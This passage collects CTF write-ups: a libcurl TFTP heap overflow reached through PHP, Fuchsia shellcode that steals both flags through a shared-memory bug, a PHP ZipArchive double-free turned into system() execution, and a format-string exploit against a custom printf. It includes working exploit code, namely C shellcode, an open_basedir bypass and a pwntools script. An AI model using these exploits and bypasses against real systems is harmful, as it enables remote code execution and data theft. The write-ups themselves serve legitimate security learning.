    return CURLE_OUT_OF_MEMORY;
    
  if(conn->data->set.tftp_blksize) {
    blksize = (int)conn->data->set.tftp_blksize;
    if(blksize > TFTP_BLKSIZE_MAX || blksize < TFTP_BLKSIZE_MIN)
      return CURLE_TFTP_ILLEGAL;
  }

  if(!state->rpacket.data) {
    state->rpacket.data = calloc(1, blksize + 2 + 2);

    if(!state->rpacket.data)
      return CURLE_OUT_OF_MEMORY;
  }

  if(!state->spacket.data) {
    state->spacket.data = calloc(1, blksize + 2 + 2);

    if(!state->spacket.data)
      return CURLE_OUT_OF_MEMORY;
  }
  // . . .

From this piece of code we know that each buffer has default size, but if conn->data->set.tftp_blksize is set to non-zero and it passes some checks against nonsense values, then it becomes our blocksize. By grepping the code, we know that variable tftp_blksize is being set in lib/setopt.c. PHP curl API implements a rather limited version of real libcurl API, but this piece of code is within our reach. We can use curl_setopt PHP function to set blocksize for our TFTP connection before actually connecting to anything.

As advisory mentions, vulnerability is contained in the OACK processing. OACK stands for “option acknowledgement” as we can tell by taking a brief look into rfc2348. This functionality allows server to specify options it wants to use during the connection, and one of those options is blocksize. Client is required to agree upon options provided by server or reply with an error packet. After recieving each packet tftp_receive_packet routine parses first two bytes that indicate opcode of the corresponding handler. The following code of the function, which parses OACK packet, contains some changes to keep snippet small and readable:

static CURLcode tftp_parse_option_ack(tftp_state_data_t *state, const char *ptr, int len)
{
  const char *tmp = ptr;
  struct Curl_easy *data = state->conn->data;

  state->blksize = TFTP_BLKSIZE_DEFAULT;

  while(tmp < ptr + len) {
    const char *option, *value;

    tmp = tftp_option_get(tmp, ptr + len - tmp, &option, &value);
    if(tmp == NULL) {
      failf(data, "Malformed ACK packet, rejecting");
      return CURLE_TFTP_ILLEGAL;
    }

    if(checkprefix(option, TFTP_OPTION_BLKSIZE)) {
      long blksize;
      blksize = strtol(value, NULL, 10);
      // . . .
      // skipping out size checks of blksize
      // . . .

      state->blksize = (int)blksize;
    else if(checkprefix(option, TFTP_OPTION_TSIZE)) {
      // . . .
    }
  }
  return CURLE_OK;

As you can see, in the first few lines state->blksize is being assign to default TFTP_BLKSIZE_DEFAULT value, which is equal to 512 bytes. Next, while loop parses all null terminated ascii key-value strings from inside the packet and checks if it matches certain string. But if key prefix doesn’t match any hardcoded value, then parser just ignores it. It is easy to see that if OACK packet doesn’t contain blocksize option, then state->blocksize would remain equal to TFTP_BLKSIZE_DEFAULT. Vulnerability becomes pretty obvious if you remember that state->blksize is used as length of the packet, which is received by recvfrom function in tftp_receive_packet, and the receiving buffer wasn’t reallocated at any point.

So, to trigger this vulnerability we would need to:

1. Create our own TFTP server.
2. Create curl handle in PHP by using curl_init and set CURLOPT_TFTP_BLKSIZE to value less than TFTP_BLKSIZE_DEFAULT.
3. Connect to our TFTP server from PHP code by using curl.
4. Send OACK packet without blocksize option from server.
5. Send next packet from server that would overflow receive buffer.

Exploitation

After happiness of the triggered bug subsides, it is time to realize all challenges of exploitation that we have here.

First of all, PHP and apache2 use different allocation algorithms, apart from curl, which uses default glibc malloc. So it wouldn’t be possible to change our glibc heap layout by allocating and freeing PHP objects.

There are not too many ways to manipulate heap during TFTP connection, because the only three allocations that are explicitly made here are the allocations of receive buffer, send buffer and state structure. Moreover, state structure is allocated before the receive buffer, so if allocations would arrange one after another, then the only thing that we can overflow is send buffer and something next to it.

If you attach debugger to the apache and try to reproduce the bug the same way as it was described in the previous chapter, you would see that during execution of tftp_connect there are no good places to fit our receive buffer heap chunk, since almost none of the chunks on the heap are free at this moment. As a result, allocations in ftp_connect would happen in the same order as they are in the code and the best thing that we can achieve is to overflow heap top chunk a.k.a wilderness. It opens up an opportunity for “house of force” exploitation, but this technique requires full control over size argument of malloc. This is not an option, because curl is rather good piece of software, and it is designed not to allow allocations of arbitrary sizes. Even it would allow such behavior, then it could be treated as a real “bug”, which probably corresponds to a “CWE-400: Uncontrolled Resource Consumption”.

The the last problem on the list is that we would probably require a memory leak during the process of exploitation. Considering that my amazing teammates have already shared with me a technique on how bypass open_basedir, we are able to read any file on the system, including /proc/self/maps, so open_basedir isn’t too much of a problem.

The main goal at this point is either to achieve arbitrary write by allocating state structure, right after our receive buffer, or we can overwrite some function pointer on the heap to achieve code execution. The second way works just fine.

Exploring code paths during connection termination would give us an answer to where do we find function pointers on the heap. In common scenario curl stores structures containing connection information in hash table. Each hash entry stores several pointers to a function that calculated the hash, a function to compare hashes and a pointer to destructor of a hash entry. Overwriting these hash entries may give us a pretty straight forward code execution, if we would manage to achieve good heap layout by using memory manipulation primitives correctly. Several hash entries are contained within struct Curl_multi structure, which is one of the main data structures to hold information about our connection. It is one of the first structures to be allocated after curl_exec has been called, so it will serve very well for our dark deeds.

The problem of achieving correct heap layout remains. In order to solve it, we can use other functions from PHP libcurl API that allow us to allocate and free objects on the same heap. Example of such function could be curl_setopt, which I end up using in the exploit.

First thing that you may notice in the code is an obvious allocation of buffer that can be allocated and reallocate of hold our buffer. Unfortunately, this primitive has really strong size limits. That means we won’t be able to manipulate smaller chunks, which is necessary, if we want to find our receive buffer a good place. Still, it can be used to either fill or create holes on the heap.

Another primitive that we would use is much harder to notice and requires diving deeper into the code. After browsing lots of option handlers I realized that CURLOPT_COOKIELIST is perfect for our goals. As mentioned above we would try to overwrite some function pointers, that are contained in struct Curl_multi. This structure has size of 0x1e0, so we would need to allocate receive buffer very close to it in order to overwrite the pointer.

Option CURLOPT_COOKIELIST requires cookie to be in a single line in Mozilla/Netscape or HTTP-style header and it will not accept malformed cookies. As we are able see from the code of the handler, several allocation are created there. First allocation malloc(strlen(arg)) is made (line 765) during call to strdup function, and it is free()-d at the end of the handler (line 782). There are several unimportant allocations made Curl_cookie_init function, but call to Curl_cookie_add (setopt.c:779) is very crucial for us. First things first, it allocates a struct Cookie by calling to calloc(), which has size of 0x60 bytes! If the supplied cookie is malformed, then function would free cookie structure and all its fields that were already parsed by this point. If none of the fields were successfully parsed, then it would just free our struct Cookie and return to the option handler, where is would free our strdup()-ed cookie string! If string supplied to this option would have length of 0x1e0, then we would be able to make two allocations of required sizes adjacent to each other and overflow thestruct Curl_multi by allocating receive buffer of size 0x60. We will have to execute this primitive a couple of time, since most of our structures are allocated by using calloc, which doesn’t use tcache for some reason.

So this it. The last step we need is to leak /proc/self/maps and nail down our curl exploit in one script, since the second time our script gets executed, we may end up in a different apache worker, which would have a different memory layout. I implemented it by sending /proc/self/maps from PHP script by using TCP connection to my Python server, which was already handling TFTP connection on another port.

Mistakes were made

In this chapter I want to share the lesson I learned while solving this challenge.

As I have already pointed out, my attempt to clone curl from GitHub and try to match the version was a complete failure. Although, Ubuntu packages have a reputation of, let’s say, “unfresh”, it seems that maintainers are trying to care about the security of popular pieces of software. After critical vulnerability has been reported to curl, they share the patch with package maintainers. Even if in some distro an older version of libcurl is being maintained, security patch will be backported to it. On the day, when curl advisory goes public, maintainers publish security updated packages. Moreover, it seems that after security patch comes out, vulnerable binary packages are permanently deleted from the repository, so you don’t shoot yourself in a leg. Since docker image is based on Ubuntu 18.04 you can find Ubuntu Security Notice, which mentions the CVE, that we are trying to exploit. It also contains a link to a source package with patch description and a full version number: “7.58.0-2ubuntu3.8”. This version number consists of two parts. The first one: “7.58.0”, which is the version of curl. And second one: “2ubuntu3.8” the version of Ubuntu source package with backported fixes.

After I finished testing 90% ready-to-pwn exploit with local LD_PRELOAD-ed library with symbols, I finally decided to test it with real libcurl that was installed into my docker container, when it was built. And what do you know… It didn’t work… It is needless to describe my frustration, when I realized that Ubuntu package was updated the same day advisory was published in oss-security. Luckily, Emil has solved this challenge and saved the day.

After solving the challenge we ran dpkg -l | grep curl on the remote machine just for fun and guess what. The server was using unpatched version “ubuntu3.7”. This is an really epic fail, which resulted into a time loss of me and my teammate. I was able to read any file on the remote system, and I could have checked whether my exploit works with the remote library by LD_PRELOAD-ing it. After realizing that fact it was a matter of minutes to modify and finalize the exploit, but still…

This version mismatch probably happened, because challenge was already deployed on the server a week ago. So outdated container image is showing us a good level of preparations by the organizers.

Lesson learned. CTF RULE #37: Think less. Check everything you can at any point.

Conclusion

I would like to thank organizers for this amazing CTF, I’ve learned a lot from it. Real World CTF is definitely on my must-attend list.

Full exploit: https://gist.github.com/PaulCher/79706bf3633d176cca0e47b1b5290cb2

The task had two binaries - caidanti and caidanti-storage-service, running on Google’s Fuchsia operating system, which is currently under active development.

Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.

You can communicate with caidanti binary over the network, which in turn communicates with caidanti-storage-service over FIDL IPC.

Both flags are only available in the caidanti-storage-service, so gaining code execution just in caidanti is insufficient.

Flag 1

Getting the first flag required a fair amount of reverse engineering.

First, caidanti has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.

The code is written in C++, and the class that handles the backend communication has unused function that does “GetFlag1” remote call. So we can call it from our shellcode.

The function takes two parameters, both of which are std::string (or something similar).

Second, the implementation of this function on caidanti-storage-service side returns the flag in the second argument if the first argument is string "YouMadeAFIDLCall" (this check is obfuscated).

I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.

typedef struct std_string {
    union {
        struct {
            char s[23];
            unsigned char len;
        } inlinestr;
        struct {
            char *buf;
            size_t len;
            size_t cap;
        } bigstr;
    };
} std_string;

static char *std_string_data(std_string *self)  {
    if (self->inlinestr.len & 0x80) {
        return self->bigstr.buf;
    } else {
        return &self->inlinestr.s[0];
    }
}

void _start(void) {
    char *binary_base = __builtin_return_address(0) - 0x7205;

    int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;

    printf("\n");

    printf("Binary base: %p\n", binary_base);

    struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} };
    struct std_string param3 = {0};

    printf("%s\n", std_string_data(&param2));
    
    void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;

    sub_7F00(*(void**)(binary_base + 0x12140), &param2, &param3);

    printf("%s\n", std_string_data(&param3));

    return;
}

Flag 2

The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in caidanti-storage-service.

What we didn’t use so far is that except “GetFlag1” function, the service also provides some note taking functionality (our beloved pwn cliché).

Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it’s a shared memory, any changes done by caidanti are immediately reflected in caidanti-storage-service.

The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and std::strings.

typedef struct {
    unsigned char used;
    std_string key;
    char value[256];
} secret_t;

typedef struct {
    void *vtable1;
    // skip
    secret_t secrets[16];
} shit_t;

To read arbitrary memory, we point some note’s key buffer to memory we want to read, set len and capacity accordingly, and call ListKeys function.

When new note is created, the new name is assigned (operator=) to the existing std::string instance. If its capacity is already enough to hold the new string, the new data is simply copied to the existing buffer. So to implement the arbitrary write primitive, we mark a note unused, set buffer and capacity accordingly, and create a new note with key is the data we want to write.

These primitives are very powerful, and quite likely it’s possible to do the stack pivot and obtain arbitrary shellcode execution.

However, there’s a much simpler solution.

When caidanti-storage-service is run, it checks that the second flag is readable. It does so by calling open, but it doesn’t call close afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn’t have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).

The GetFlag1 function calls open to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns 3 in eax register, so we could overwrite open GOT entry with it (which luckily was writeable).

And we found it:

pid_t __cdecl stub_getpid()
{
  return 3;
}

push    rbp             ; Alternative name is 'getpid'
mov     rbp, rsp
mov     eax, 3
pop     rbp
retn

After patching the open GOT entry, the function that used to return the first flag now returns the second flag. And that’s it.

void _start(void) {
    char *binary_base = __builtin_return_address(0) - 0x7205;
    char *service_base;
    char *libc_base;

    int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
    printf("\n");
    printf("Binary base: %p\n", binary_base);

    REBASE_FUNCTIONS(binary_base);

    const void *FOO = *(void**)(binary_base + 0x12140);
        
    {
        struct std_string key = INIT_STRING("hui");
        struct std_string value = INIT_STRING("test");
        int new_id;
        create_secret(FOO, &key, &value, &new_id);
    }
        
    shit_t *shit;

    {
        struct std_string key = INIT_STRING("hui");
        int *handle = 0;
        read_secret(FOO, &key, &handle);
        zx_vaddr_t res;
        zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res);

        shit = (shit_t*)res;
    }

    service_base = shit->vtable1 - 0x13060;
    printf("storage-service base: %p\n", service_base);

    shit->secrets[0].used = 1;
    shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen
    shit->secrets[0].key.bigstr.len = 256;
    shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
    {
        stringvector_t hui = {0, 0};
        list_secrets(FOO, &hui);
        while (hui.begin < hui.end) {
            uintptr_t *ptr = std_string_data(hui.begin);
            printf(" %p\n", *ptr);
            libc_base = *ptr - 0x98530;
            hui.begin += 32;
            break;
        }
    }
    printf("libc base: %p\n", libc_base);

    shit->secrets[0].used = 0;
    shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open
    shit->secrets[0].key.bigstr.len = 0;
    shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
    {
        struct std_string key = {.inlinestr = {.len = 8}};
        *(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget

        struct std_string value = INIT_STRING("AAAAAAAA");
        int new_id;
        create_secret(FOO, &key, &value, &new_id);
    }

    {
        struct std_string param = INIT_STRING("YouMadeAFIDLCall");
        struct std_string value = {};
        get_flag1(FOO, &param, &value);

        printf("%s\n", std_string_data(&value));
    }

    return;
}

Before continuing, open another solution in a browser tab (yes, we solved the same challenge twice. Well almost). My teammate @paulcher used CVE-2019-5482 to achieve RCE in this challenge and was very close to success.

Challenge overview

The challenge consists of a single php script that just executes user code from $_POST["rce"] using eval; our goal is to bypass open_basedir and disable_functions protections and execute a command. We’re given the Dockerfile and the URL of a remote HTTP endpoint.

We knew how to bypass open_basedir (see the corresponding section above). However, we were not able to find any flaws in the disable_functions list — all tricks like putenv + mail were restricted.

Notably, we’re given a copy of the source of the PHP interpreter (it’s in C) which is compiled during docker build and the challenge is in the “pwn” category. These facts suggest we’ll have to deal with filthy binary stuff.

The bug

After careful diffing with the PHP source on Github, we’ve found a commit that differs from the source we’re given in one meaningful line.

This line is in implementation of ZipArchive::open method and looks like this:

--- /home/inviz/ctf/tools/php-src/ext/zip/php_zip.c     2019-09-15 17:02:18.933895580 +0300
+++ ./ext/zip/php_zip.c 2019-08-20 10:52:03.000000000 +0300
@@ -1380,7 +1380,6 @@
        }
        if (ze_obj->filename) {
                efree(ze_obj->filename);
-               ze_obj->filename = NULL;
        }

        intern = zip_open(resolved_path, flags, &err);

The ZipArchive class is a class for handling ZIP archives. Its instances are reusable; one can call $zipArchive->open(...) multiple times and work with different files using the same instance of the ZipArchive class. The underlying code of ZipArchive::open is implemented in C.

All methods of ZipArchive class preserve the following invariant: the name of the file that is currently opened is stored in ze_obj->filename as a C string. If it’s NULL, no file is opened. The logic of the original open method is as follows:

1. It checks if ze_obj->filename is NULL. If this is not true, it calls efree on this pointer and replaces it with NULL.
2. It tries to open the requested file. If it fails, an error is returned.
3. If the file was successfully opened the method stores a copy of the name of the file that was just opened into ze_obj->filename as a C string.

The patch removes “replaces it with NULL” part from step 1. As we can supply any PHP code we can make the first call to ZipArchive::open succeed and following multiple calls to fail; these calls will perform efree of the same address, resulting in a dangling pointer stored in ze_obj->filename that can be efreed again later. More importantly, we can make PHP interpreter allocate something in its place between calls to efree, making it kinda use-after-free.

Exploitation plan

As you may note the function that releases memory is called efree, not free. This is PHP’s internal allocator. Instead of diving deep into its details, we just state a property that any sane allocator has; it’s the only property we need for the exploitation.

The property is: if we call free on a block of size S bytes and then call malloc(S) multiple times, we’ll eventually get the address we just freed. The PHP allocator uses free lists, so we need to call malloc only once and we will immediately get the just-freed address.

In other words, after executing the following C code:

a = emalloc(size);
efree(a);
b = emalloc(size);

we’ll have a == b.

From the PHP code point of view it gives us the following exploit draft:

$size = <some value we define later>;

// The size of the next string in C is $size as "/tmp/" is 5 bytes and
// the terminating zero byte also counts.
$archive_name = "/tmp/".str_repeat("X", $size - 6);

// First we create our ZipArchive object.
$archive = new ZipArchive();

// Next call succeeds and ze_obj->filename of size $size is allocated.
$archive->open($arcive_name,  ZipArchive::CREATE);

// Next call fails as we can't open "/etc/passwd" and
// ze_obj->filename is free'd.
$archive->open("/etc/passwd", ZipArchive::CREATE);

// If "<expression 1>" produces an object with internal representation
// of size $size, it will be allocated on the same place where dangling
// ze_obj->filename points to.
$object1 = <expression 1>

// Next call will free the memory containing internal representation 
// of $object1. However, the variable $object1 remains and we can 
// still use it.
$archive->open("/etc/passwd", ZipArchive::CREATE);

// If "<expression 2>" again produces an object with internal 
// representation of size $size, it will be allocated on the same place 
// where both ze_obj->filename and internal representation
// of $object1 should be.
$object2 = <expression 2>

If both <expression 1> and <expression 2> produce objects with an internal representation of size $size we’ll have two objects, $object1 and $object2 whose internal representations are in the same memory region. Note that this can be completely different objects with a different meaning of fields. Also note that after the execution of the code above the memory has been initialized for holding $object2. This means that fields of struct holding $object1 may have been changed.

What we need to do to proceed is to find which objects to use in <expression 1> and <expression 2>.

Struct “gadgets”

Let’s recap where we are so far. We need to choose two PHP objects, $object1 and $object2 with the same size of their internal representation (e.g., C structs). After that, we’ll use the introduced bug to make these representations be in the same memory. Thus the C structs will get corrupted, resulting in unpredictable effects which we hope to use for our benefit.

The choice for $object1 is simple: just use a string. PHP strings are stored as 32-byte header struct + character bytes in C code, so they have variable size. The header contains the length of the string. PHP strings are mutable, so if we corrupt the length (making it very big if interpreted as an integer), we’ll be able to edit the whole heap region after it. Using a string for unrestricted access to memory is pretty standard in the exploitation of interpreters.

The value of $object2 can be anything as long as it satisfies two conditions:

1. During its initialization, it writes some big integer into the offset where string’s length is stored.
2. It doesn’t corrupt other fields of the string header struct too much, so the string remains usable.

An instance of StdClass appears to be suitable. Its internal representation is 40 bytes long.

So substituting the chosen value into the plan above, we have the following:

1. First, we create an instance of ZipArchive open a file with 40-byte filename and then immediately try to open /etc/passwd as ZIP (it fails). The ze_obj->filename is freed, but the pointer to it remains in the struct.
2. Next, we create a string of length 8 and store it in some variable (e.g. $memory_view). Its internal representation is 32 + 8 = 40 byte structure which will be allocated in the same memory ze_obj->filename points to.
3. We call $archive->open("/etc/passwd") again to free the said memory.
4. We create an instance of StdClass. It will allocate 40 byte internal representation which again will be allocated in the same place. During its initialization, it will corrupt $memory_view’s length making it very big.

Now we can read and write the whole region of PHP heap after the struct holding $memory_view string.

It is universally recognized that the best thing to edit in memory is the address of a function which is then called with an argument under your control, and the best new value for it is the address of system. There are plenty of objects that hold callback addresses in PHP. We’ve chosen _php_conv object.

It is an internal representation of a php filter which is constructed when you open a php://filter file. It contains two fields: address of convert callback and address of destructor. The destructor is called when we call fclose for the file. Its only argument is the pointer to _php_conv object itself.

That means that as long as we don’t use the convert callback (we never read from the file), we can just overwrite it with a command, and then we overwrite destructor with the address of libc’s system function. When the destructor is called the pointer _php_conv object will be interpreted as char* and the command will be executed.

Note that the size of a pointer is 8 bytes so we have only 7 bytes for our command (plus one terminating zero byte). It looks too small, but we can create files in the /tmp/ directory. We just create /tmp/xx, put our payload there (after #!/bin/sh) and then chmod it allowing it to be executed. All these can be done using corresponding PHP functions, and none of them are restricted.

So what we do after we have huge $memory_view string is this:

1. We run $f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd"); and _php_conv is created somewhere in the PHP’s heap.
2. We search the memory for two successive addresses pointing to libphp8.so (it is the library where all PHP interpreter’s code lies). When we find it, we assume that we’ve found the _php_conv object.
3. We write /tmp/xx instead of the first pointer (unneeded convert callback) and change the second pointer (which is destructor) to address of system.
4. We use fclose($f), and the destructor is called. As we changed its address to system, the command is executed.

To follow the plan above, we need two things:

1. The address range of libphp8.so so we can detect the filter’s struct in the memory.
2. The address of libc.so so we can get the address of system.

To get these addresses, we need to read /proc/self/maps file, which contains the whole memory layout of the process.

open_basedir bypass

It looks like we’re back to web exploitation. Bypass a PHP restriction and read a local file, what can be sweeter!

Well, one thing that is even more joyful for my script kiddie’s heart is that to achieve this goal we need just to copy-paste a ready-made exploit from one of the past competitions (namely TCTF finals). Here it is:

function bypass_openbasedir() {
    chdir("/tmp");
    mkdir("posos");
    chdir("posos");
    ini_set("open_basedir", "..");
    ini_get("open_basedir");
    chdir("..");
    chdir("..");
    ini_set("open_basedir", "/");
    if (ini_get("open_basedir") != "/") die("open_basedir bypass failed");
}

Let’s go through this function.

1. We change the current directory to /tmp. It is allowed as /tmp is contained in initial open_basedir value (which is /tmp:/var/www/html).
2. We create a directory named posos and go inside it, which is still totally legitimate.
3. Now we change open_basedir setting to ... One can change open_basedir in runtime as long as the new value is more restrictive than the old one (not less restrictive to be exact). In this case PHP thinks like “Well, currently open_basedir is /tmp:/var/www/html and new value is .. which resolves to /tmp. The new value doesn’t allow new things to be accessed, so I accept it”. Poor creature.
4. We execute chdir("..") twice. Both times PHP thinks like “open_basedir is equal to .. and new path .. is under it, so allow”. Now our current directory is /.
5. We change open_basedir again, to /. As it was .. and our current directory is / PHP accepts it again.

So open_basedir bypassed, and now we can read any file we please.

Exploit recap

Now we have all we need to build our exploit.

1. First, we bypass open_basedir using the function above.
2. Now we can parse /proc/self/maps and get address ranges of libc and libphp, defeating ASLR. Then we calculate the offset of the system function inside libc and store it into a variable.
3. Another preparation step is to put commands we want to execute into /tmp/xx file and run chmod on it.
4. Now we’re ready for the exploitation. We create a ZipArchive instance, open a file with a 40-byte name and then immediately try to open an invalid ZIP archive, resulting in efree being called for the file name. We put an 8-character PHP string in the $memory_view variable and then again try to open an invalid archive. After that we call new StdClass() and it is allocated in the same memory. The string $memory_view has an insanely huge length now, allowing us to read and write PHP heap.
5. We execute $f = fopen("php://filter/convert.base64-decode/resource=/etc/passwd"); and _php_conv is created. We use the $memory_view variable to find it in memory — that is, to find two successive addresses from the libphp address range we obtained earlier.
6. We call fclose($f) and destructor is called. This results in our script /tmp/xx being executed.
7. After we get our back-connect shell, we run /readflag. It gives us a simple challenge we need to solve, and then it prints the flag.

The exploit can be found at https://gist.github.com/neex/13378d0e7e9f9ab0cff9d9039178d15f.

Binary

The gist of the main function is as follows:

char buf[256];
my_printf("What's your name?");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
for (i = 0; i < v5 - 1; ++i) {
  if (!isprint(buf[i]))
    _exit(1);
}
my_printf("Hi, ");
my_printf(buf);
my_printf("Do you leave a comment?");
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
my_printf(buf);

So printf is called twice with fully controllable format argument. The first time the string is restricted to printable characters, and the second time there’re no restrictions.

Any CTF veteran knows that it looks like a classic format string bug, which are now relatively rare compared to heap tasks :).

Obviously, you can leak stack variables using the %lx|%lx|%lx|... format string. That defeats ASLR of stack, libc and binary itself.

However, the printf implementation is custom. It lacks %n specifier, and have some unusual bugs instead.

It prints the string in two passes. In the first pass, it calculates the string length, and allocates the buffer with alloca. During the second pass, the data is printed to the buffer, and then the buffer is written out with puts.

The bug is that the argument of alloca is unchecked. alloca compiles to sub rsp, rax without any checks whatsoever. We can’t make the length negative, as it’s thoroughly checked. But by specifying large width (e.g. %980794739896d) we can make it very large so the stack pointer crosses the unmapped gap between the stack and libc.

This might seem to be non-exploitable, as the function will crash when attempting to fill the entire gap between libc and stack with data. Not to mention that it will corrupt much more data than we want during the write to libc.

Fortunately, the implemenation of width specifier is buggy, as it effectively ignored during the second pass:

v27 = number_of_digits(&fmt_[i_fmt]);
i_fmt += v27;
v55.width = my_atoi(&fmt_[i_fmt]);

Here i_fmt should’ve been incremented after the atoi. The way it’s written, however, the string that follows the width is interpreted as integer instead. What follows the integer is not an integer, so atoi returns zero.

Exploitation

How to exploit this, though?

The glibc is Ubuntu GLIBC 2.29-0ubuntu2, which corresponds to Ubuntu 19.04, which is very new.

So there’s no easy way to overwrite things like atexit handlers, stdout virtual table, etc., as they’re either mangled or checked.

For example, here’s IO table being write-protected on my system:

pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$8 = (const struct _IO_jump_t *) 0x7ffff7dcd360 <_IO_file_jumps>
pwndbg> p _IO_file_jumps
$9 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a8aba0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a8b700 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a8b400 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a8c8e0 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a8e0e0 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a8a6e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a8a200 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a899e0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a8cd60 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a89140 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a88fe0 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7b9a0 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a8a680 <__GI__IO_file_read>, 
  __write = 0x7ffff7a89ff0 <_IO_new_file_write>, 
  __seek = 0x7ffff7a89680 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a89100 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a89fb0 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a8e340 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a8e380 <_IO_default_imbue>
}
pwndbg> vmmap 0x7ffff7dcd360
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7dcc000     0x7ffff7dd0000 r--p     4000 1c2000 /lib64/libc-2.29.so

But let’s re-check the binary provided with the task, just in case:

pwndbg> p &_IO_file_jumps
$1 = (<data variable, no debug info> *) 0x7ffff7fc0560 <_IO_file_jumps>
pwndbg> vmmap  0x7ffff7fc0560
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7fbe000     0x7ffff7fc1000 rw-p     3000 1e3000 /home/wgh/ctf/tokyowesterns2019/printf/libc.so.6

Wait, what, what, what? Why is default FILE * vtable is writable here? This’s supposed to be fixed a long time ago. Honestly, I have no idea why it happened. The checksum corresponds to the correct Ubuntu package, we’re not dealing with custom build glibc. I don’t have an answer.

Anyway, we can overwrite some stdout function pointers and gain RIP control when puts is called. As usual, one-gadget-RCE can be employed.

The exploit is somewhat unstable locally, but works better when run against the remote server (probably due to different stack layout regarding environment variables, as it happens relatively often).

#!/usr/bin/env python2

from __future__ import print_function

from pwn import *

LOCAL = False
#LOCAL = True

context.binary = "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"
context.log_level = "debug"

libc_start_main_leak_offset = 7019 + 0x25000
libc_filejumps_underflow_offset = 9600
libc = ELF("libc.so.6")

if LOCAL:
    p = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"])
else:
    p = remote("printf.chal.ctf.westerns.tokyo", 10001)

def get_payload1():
    res = " ".join("%lx" for _ in xrange(64))
    assert len(res) <= 255
    return res

p.recvuntil("What's your name?")
p.sendline(get_payload1())
p.recvuntil("Hi, ")
leaks = p.recvuntil("Do you leave a comment?", drop=True)
leaks = [int(x, 16) for x in leaks.split()]

offset_info = {
    40: "main (canary)",
    41: "main (RBP)",
    42: "main RA (__libc_start_main)",
}
for i, addr in enumerate(leaks):
    extra = ""
    if i in offset_info:
        extra = " %s" % offset_info[i]

    log.info("%d: 0x%016x%s", i, addr, extra)

leaked_canary = leaks[40]
leaked_libc = leaks[42] - libc_start_main_leak_offset
main_buf = leaks[39] - 496 + 8

log.info("canary: 0x%016x", leaked_canary)
log.info("libc base: 0x%016x", leaked_libc)
log.info("main_buf: 0x%016x", main_buf)

#gdb.attach(p, """
#    breakrva 0x1C85 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#    breakrva 0x1C97 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#
#    b system
#""")

desired_address = leaked_libc + 0x1e6588 - 0x10

one_gadget = leaked_libc + 0x106ef8
#one_gadget = leaked_libc + libc.sym["system"]
log.info("one_gadget=0x%016x", one_gadget)

payload = b""
payload += "%{}d".format(main_buf - 416 - desired_address)
payload += "A" * (0x10-2)
payload += p64(one_gadget).rstrip(b'\0')

log.info("len(payload)=%d", len(payload))

p.sendline(payload)

p.interactive()